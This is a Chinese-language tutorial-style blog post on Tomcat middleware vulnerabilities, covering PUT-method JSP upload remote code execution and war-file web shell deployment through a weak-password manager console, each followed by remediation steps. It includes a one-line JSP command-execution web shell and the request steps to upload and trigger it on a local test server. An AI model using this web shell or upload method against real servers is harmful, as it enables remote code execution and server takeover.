中間件漏洞總結(二)- Tomcat


(一) Tomcat簡介

Tomcat 服務器是一個免費的開放源代碼的Web 應用服務器,屬於輕量級應用 服務器,在中小型系統和並發訪問用戶不是很多的場合下被普遍使用,是開發和調試JSP 程序的首選。對於一個初學者來說,可以這樣認為,當在一台機器上配置好Apache 服務器,可利用它響應 HTML ( 標准通用標記語言下的一個應用)頁面的訪問請求。實際上Tomcat是Apache 服務器的擴展,但運行時它是獨立運行的,所以當運行tomcat 時,它實際上作為一個與Apache 獨立的進程單獨運行的。

(二) 遠程代碼執行

  1、 漏洞簡介及成因

    Tomcat 運行在Windows 主機上,且啟用了 HTTP PUT 請求方法,可通過構造的攻擊請求向服務器上傳包含任意代碼的 JSP 文件,造成任意代碼執行。

    影響版本: Apache Tomcat 7.0.0 – 7.0.81

  2、 漏洞復現

    配置漏洞,開啟put方法可上傳文件功能。

    tomcat文件夾下的/conf/web.xml文件插入:

     <init-param>
           <param-name>readonly</param-name>
           <param-value>false</param-value>
     </init-param>

    重啟tomcat服務。

    

 

 

 

    訪問127.0.0.1:8080,burp抓包,send to Repeater,將請求方式改為PUT,創建一個122.jsp,並用%20轉義空格字符。123.jsp內容為:

<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>

    返回201,說明創建成功。

    

 

 

 

    訪問127.0.0.1:8080/122.jsp?cmd=calc。

    彈出計算器:

      

 

 

 

  3、 漏洞修復

    1)檢測當前版本是否在影響范圍內,並禁用PUT方法。

    2)更新並升級至最新版。

 

(三)war后門文件部署

  1、漏洞簡介及成因

    Tomcat 支持在后台部署war文件,可以直接將webshell部署到web目錄下。

    若后台管理頁面存在弱口令,則可以通過爆破獲取密碼。

  2、漏洞復現

    Tomcat安裝目錄下conf里的tomcat-users.xml配置如下:

    

 

     訪問后台,登陸:

     

 

     上傳一個war包,里面是jsp后門:

    

 

     成功上傳並解析,打開:

    

 

     可執行系統命令:

    

 

     也可進行文件管理,任意查看、刪除、上傳文件:

    

 

   3、漏洞修復

    1)在系統上以低權限運行Tomcat應用程序。創建一個專門的 Tomcat服務用戶,該用戶只能擁有一組最小權限(例如不允許遠程登錄)。

    2)增加對於本地和基於證書的身份驗證,部署賬戶鎖定機制(對於集中式認證,目錄服務也要做相應配置)。在CATALINA_HOME/conf/web.xml文件設置鎖定機制和時間超時限制。

    3)以及針對manager-gui/manager-status/manager-script等目錄頁面設置最小權限訪問限制。

    4)后台管理避免弱口令。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM